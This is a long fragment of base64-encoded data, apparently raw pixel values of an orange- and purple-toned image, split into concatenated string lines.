/P//wKL//39A//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///iE7//9jF///+/f////////////////////////////// + //////////////z7///39P7/8ev+/+/p/f/07/7//vj2//728///4dL//8Wo//+qgP//mWf//5Nf//+c + a///uZb//9rI///18f///v7///////////////////////////////////////////////////////// + ///////////////////////////////+/v//9vH//+bZ///18P///v7///////////////////////// + //////////////////////////////////////////////////////////////////////////79///6 + 9///9vH///Pt///v6P//7+j///Xx//77+v///v7///n2//Pu/v/q4v3/6N/9/+7n/f/39P7//f3///// + //////////////////////////////////////////38///Ms///gkX//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+M + VP//39D///79//////////////////////////////////////////////////////////////79///+ + /v//+PT//8Kl//+JT///f0H//34///9+P///f0D//4BC//9/QP//jFP//7mX///r4f///fz///////// + ///////////////////////////////////////////////////////////////////////////////+ + /v///v3///////////////////////////////////////////////////////////////////////// + //////////////////////////z7///p3v//ya///6F0//+OVv//iU///4lP//+LU///m2v//7+f///i + 0//+9/P///7+///+/f///f3///////////////////////////////////////////////////////// + /////f3//9O9//+GSv//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///41W///g0f///v7///////////////////////// + //////////////////////////////////////////Tv///Irv//hEj//39A//9+P///fj///39A//+J + T///oHH//4RI//9+P///gEH//6Bx///i1P///fz///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////8+///5dn//5Fb//9/ + QP//fj///34///9+P///fj///34///9+P///f0H//4hO//+yjP//7+j///////////////////////// + ///////////////////////////////////////////////+/f//077//4ZK//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///jFP//+DQ///+/f////////////////////////////////////////////////////////////// + ////2sf//5Fb//9/QP//fj///34///9+P///gEL//6Bx///r4v//lGD//34///9+P///gEH//6R3///v + 5/////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////v3//+PV//+5lv//f0D//34///9+P///fj///34///9+P///gkT//49Z//+D + R///fj///4BB//+jdv//6uD///////////////////////////////////////////////////////// + //////////38///Lsf//gkX//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+LUv//3s7///79//////////////////// + ///////////////////////////////////////////////Jrv//hEf//39A//9+P///gEH//4NG//+E + R///iE3//5Vh//+CRf//fj///34///9+P///hEj//9O+///9/f////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////49P//t5T//5Zi//9+ + P///fj///34///9+P///fj///34///+QWv//2cb//5pp//+AQf//fj///4BC///Cpf////////////// + /////////////////////////////////////////////////////fv//7+f//9/Qf//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///4hO///ayf///v3///////////////////////////////////////////////////////// + /////////8+4//+ESP//f0D//4JE//+SXf//rIT//7KN//+eb///hkv//39A//9+P///fj///34///9/ + QP//v5////z6//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////Dp//+cbP//jlb//4BB//+GSv//iVD//4RI//9/QP//fj///4hO//+y + jf//jlf//39B//9+P///fj///7GK//////////////////////////////////////////////////// + ///////////////8+v//tJD//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///hEj//9G7///9/P////////////// + ////////////////////////////////////////////////////4tP//45W//+AQf//kFn//76f///o + 3P//7eT//9S///+hdP//gUT//34///9+P///fj///34///+/oP//+/r///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////////////////////8On//5Zi//+J + UP//l2T//8So///YxP//vZ3//5Ba//9/Qf//f0H//4VK//+AQv//fj///39A//+CRf//xqr///////// + //////////////////////////////////////////////////////7///r4//+thf//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+AQf//w6b///38//////////////////////////////////////////////////// + ///////////////z7v//sIn//4NH//+fcf//4tT/////////////8uz//7+f//+FSv//fj///34///9+ + P///g0b//9fD///+/f////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////18P//nW7//4tT///Jrv//+vf///z6///07v//vp7//4RI//9+ + P///fj///34///9+P///f0D//45X///ezv////////////////////////////////////////////// + ////////////////////9fH//6R4//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+0jv//+/n///////// + ////////////////////////////////////////////////////+/n//+/o///Otv//kFn//6Bx///i + 1P/////////////y7P//v5///4VK//9+P///fj///4BC//+ofv//8uv///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////v6//+o + fv//k1///+PV//////////////v6///YxP//ilD//34///9+P///fj///34///+CRP//tI////Ls//// + //////////////////////////////////////////////////////////7+///t5P//mmn//34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///6d8///38/////////////////////////////////////////////// + /////v7///Tu///VwP//r4f//5xr//+OV///lmP//7+f///o3P//7eT//9S///+hdP//gUT//34///+D + Rv//qoD//+jc///9/f////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////v7//863//+UYP//0Lr/////////////+ff//8Wo//+G + Sv//fj///34///9+P///gUP//55u///ezv//+/n///////////////////////////////////////// + /////////////////////v3//9zL//+NVf//fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///mWj//+/o//// + ///////////////////////////////////////////////y6///u5n//5Zi//+aaf//uJX//8es///H + rP//rIT//7CJ//+zjf//n3D//4dN//+AQv//g0f//62F///x6////f3///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////9vH//8Wo//+shP//0Lr//+PV///Jrv//lmP//4BB//9+P///f0D//4BC//+FSf//lmL//7WR///Y + xP//6+H///n3///+/v/////////////////////////////////////////////8+///xaj//4NG//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+NVP//4ND////+//////////////////////////////////// + /////fz//9jE//+LUv//sIr//+HS///z7f//+vf///v5///t5P//0Lr//66H//+ofv//t5T//8Wo///X + w///9vH///////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////+vf//+TX///Fqf//r4f//51t//+R + XP//iU///4JE//+WYv//v5///8mv//+3lP//mmn//5Vi//+lef//1cD///n3//////////////////// + //////////////////////////r3//+uhv//f0D//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4JF///G + qf///v3////////////////////////////////////////69///0rz//6R4///j1v///f3///////// + //////////79///cyv//k17//6+H///v5////Pv///7+//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////z7///z7v//6t///+XY///Lsv//lWH//6yD///u5f///Pr///Pu///j + 1v//ya7//6J0//+rgf//7uX/////////////////////////////////////////////8uv//51u//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///f0D//6qA///38/////////////////////////////// + //////////7+///39P//7+f///z6////////////////////////9fH//7qZ//+YZv//3Mr///38//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////fz///FqP//h03//9O9///9/P////////7+///18f//1L///72c///y7P////////////// + ///////////////////////////+///dzP//jlb//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///lF///+ba/////v////////////////////////////////////////////////////////////// + ///////////////x6v//sYv//6uB///t5f////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////v7//+XY//+aaP//rof///Lr//// + //////////7+///59///9O////38/////////////////////////////////////////Pr//7+g//+C + Rf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+ESP//y7L///38//////////////////// + //////////////////////////////////////////////////////////n3///dzP//3Mv///n3//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////7ub//6l///+sg///8Oj///////////////////////////////////////// + /////////////////////v7///7+///w6P//nm///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///39A//+wif//+vf///////////////////////////////////////////////////////// + /////////////////////v7///v5///7+f///v7///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////8+///7+f//+/n///8 + +////////////////////////////////////////////////////v3///79///+/v///fz//9O9//+I + Tv//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///5Zj///p3v////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////9/P///v3///7+///38///sIr//39B//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///hEj//8Gj///7+v////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////+///+/v///v3//+DR//+U + X///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9/QP//l2X//+fc///+ + /v////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////7+///38///uJX//4RH//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+DR///vp7///r3//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////////f3//9rJ//+S + XP//f0D//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+Z + Z///5tr///79/////////////////////////////////////////v3///7+//////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////7+///z7f//rIT//4FE//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///4NG//+5l///9/P///7+//////////////////// + //////////n3///q4P//8uv///z7//////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////v///fz//821//+L + U///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///5Ba///Wwf///Pv///7+/////v//////////////////+PT//8Wo///Aov//6d////38//// + /////////////////////////////////////v7///////////////////////////////////////// + /////////////////////////////////////////////////////v7///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////v7///7+//////////////////// + //////////////////////////79///p3v//nGz//39B//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///gUP//6F0///o3f///fz///7+//// + ///////////////+/v//7eX//7ua//+2k///zbX//+XZ///18P//+vj///v5///49P//9/T//+zj///p + 3v////////////////////////////////////////////////////////////////////////////// + //////////79///7+f///Pv///7+//////////////////////////////////////////////////// + //////////////////////////////////////////39///7+v///v7///////////////////////// + //////////r3///v5///8On///v5///////////////////////////////////+/v//8ev//7WQ//+E + SP//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///hkr//7eT///07////fz///7+///////////////////+/v//9fD//8mv//+k + d///pnr//7OO//+8m///vZz//7mW//++nv//2MT///j0//////////////////////////////////// + ///////////////////////////////////////////////////////////////+/v///v7///////// + //////////////////////////////////////////////////////////////////////////////// + ////+PX//9zL///Wwv//7uX///Tv///59v//+vj///r3///w6P//0Lr//7aT///Lsv//8uv///////// + //////////////////////7///n1///EqP//i1L//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///jVX//8ux///5 + 9v///f3////+/////////////////////////Pv//+rg///Ksf//upj//7aT//+9nf//yrH//9jF///z + 7v///v3///////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////8+v//6+H//8+3//+qgf//qoH//72c//+6 + mf//uJb//7CJ//+pf///zLP///Ls///7+v///v7////////////////////////8+///1cH//5Rf//9/ + Qf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9/Qf//lF///9G7///7+P///v3///7+//////////////////// + ///////////////+/v///v7///7+///+/f///v7///7+//////////////////////////////////// + //////////////////////////////////////////////////////////7+///9/P///f3///7+//// + //////////////////////////////////////////////////////////////////////////////// + //////////7+///7+v//9fD//+HS///Irv//q4H//6Z7//+ofv//vp7//+XZ///8+/////////////// + /////////////////////f3//+DR//+ZaP//gEH//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+B + Q///lmP//9bC///59v///v3////////+/v////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////7+///+/v////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////////v3///n3///5 + 9v//+vj///v6///9/f////////////////////////////////////////38///j1f//onX//4JE//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+AQv//mmj//9nG///+/f////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////+/v//5Nf//6R3//+DR///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+FSf//wqT///v6//////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////+3l//+fb///gUP//34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///gEL//55u///p3v///f3///////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////+/v//59z//5pp//9/QP//fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+OVv//0rz///z7///+/v////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////v7///38///49f//ya///4pQ//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///hUn//7eU///38////v7///////// + /////////////////////////////////////////fz///////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////v7///37///x6v//rYT//4BC//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///39B//+fcP//6d////7+//////////////////////////////////////////////////7+ + ///s5Pz/tZjz/9XG+f/59/7///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////+/r+//7+//////////////////////////////////////////////////////////z7///b + yv//kVv//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///i1P//862///7+f////////////// + ////////////////////////////////////////+PT+/7SW9f+xk/P/s5Xz/7SX8//Zy/n/8u39//z7 + /v////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////fz//9rL+v+8ofT/vqX0//79//////////////// + /////////////////////////////////////v7///fz//+2k///gUT//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///4BC//+uhf//8+3///7+//////////////////////////////////////////////////v5 + ///Apvf/ro31/62L9f+vkPT/sZPz/7CR8v+ylPP/vaP1/97R+v/z7v3///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////////+/v//8Or8/8mz + 9v+vkPL/rIzy/6uK8/+ukPL/2cv5//////////////////////////////////////////////////// + /////fz//+HS//+TXv//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///j1j//93M///+/f////////////// + /////////////////////////////////////v//1sX6/6yK9P+xkfb/roz3/66M9/+sivX/rI3z/6+P + 8/+vj/P/rY3x/9bG+P////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////v5/v/o4fz/zLf4/7WZ9P+vj/L/ro7z/6uJ9P+sivX/qYb0/7GR9P+xk/P/+vj///// + ///////////////////////////////////////////////+/v//+PT//7mX//+CRP//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///4FE//+thf//9/P///7+//////////////////////////////////////////////////n2 + /v+ykvX/s5T2/6+N9/+ujPf/roz3/6yL8/+tjPX/q4vy/6yM8f+sjPH/2835//////////////////// + //////////////////////////////////////////7+///+/v///v7///7+///+/v///v3///79///+ + /f///v7////+////////////////////////////////////////////59/8/62N8v+sjPL/roz1/62L + 9v+ti/b/rYv2/62M9v+qiPX/qYb0/6uL8v/Vxvn//f3///////////////////////////////////// + ///////////////9/P//4dP//5Nf//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///kVz//9zL///+/f////////////// + ///////////////////////////////////+/v//0b35/7CO9f+vjvf/roz3/6+O9v+ujPf/roz2/62M + 8/+ri/D/q4vw/6yM8f/l2vv////////////////////////////////////////+/f///v3///39///9 + /f///fz///38///+/f///v3///38///8+////fv///38///9/f////7///////////////////////// + ///////////////////49v7/spL1/66M9/+ujPf/q4n1/6qH9P+phvT/rYv2/6yK9v+qh/T/qony/7KT + 9P/x6/3//v3///////////////////////////////////////////////7+///38v//s43//4BC//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///4FE//+zjf//9vL///7+///////////////////////////////////////////////+//b0 + /f+wj/X/sI/2/6+O9/+vjvb/sI73/66M9/+ujPX/rIvx/6uL8P+ri/D/up/z//bz/v////////////// + /////////////////////f3///Hq///s5P//8er///Tv///28v//+fb///38///9/P///Pr///r4///7 + +f//+/n///z7///+/v/////////////////////////////////////////////+///CqPn/r433/62L + 9/+qiPX/qof0/6qH9P+qiPT/rYv3/6uI9f+ph/P/q4ry/867+P/8+/////////////////////////// + //////////////////////////38///Xw///jFT//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///j1n//9zL///9/P////////////// + //////////////////////////////////////7/yLH4/6+O9f+vjvf/r473/7GP9v+vjff/roz3/62L + 9v+ri/H/q4vw/6uL8P/ErfT///////////////////////////////////7+///69///v5///5dl//+g + cf//pnv//66H//+5lv//x6z//821///Irf//xKj//8aq///Gqv//zLP///Pu//////////////////// + /////////////////////////////8u1+f+vjff/roz3/6yK9v+qh/T/rIj2/6yJ9v+ti/f/rIn2/6mH + 9P+rivL/tJX1//Hs/f////////////////////////////////////////////////////7///Ls//+m + ev//f0D//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///4BB//+shP//9fH///7+//////////////////////////////////////////////////r3 + /f+riPT/spH2/66M9/+wj/b/sI/2/62M9P+si/P/rIvz/6uL8P+ri/D/q4vw/9XE+P////////////// + ///////////////+/v///v7///n3//+wif//fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9/QP//wqX///7+////////////////////////////////////////////0r/6/66M + 9/+ujPf/rYv3/6qH9v+rh/b/qoj1/62L9v+ti/f/q4n1/6qI8/+wkfP/y7X4//////////////////// + /////////////////////////////////////Pr//8es//+FSf//fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///ilD//9K9///9/P////////////// + ///////////////////////////////////+/f//1MH5/6+O9f+vjff/r433/7CO9/+vjfb/q4vx/6uL + 8f+ri/D/q4vw/6uL8P+sjPH/6+P7///////////////////////////////+///+/v//+PT//6uB//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+1kP//+vf///////// + ///////////////////////////////////f0/v/roz3/66M9/+ujPf/qoj2/6qH9v+qiPT/qoj0/6uJ + 9f+riPT/qYf0/6uL8v+vj/X/+PX+///////////////////////////////////////////////////+ + /v//59v//5Vh//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///39A//+fcP//7+j///7+//////////////////////////////////////////////////37 + /v+6nvf/r473/66M9/+vjff/r4z3/62M9f+ri/D/q4vw/6uL8P+ri/D/q4vw/7OW8f/8+/7///////// + //////////////////////////7+///18f//pHj//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///62E///38/////7///////////////////////////////////////Ls + 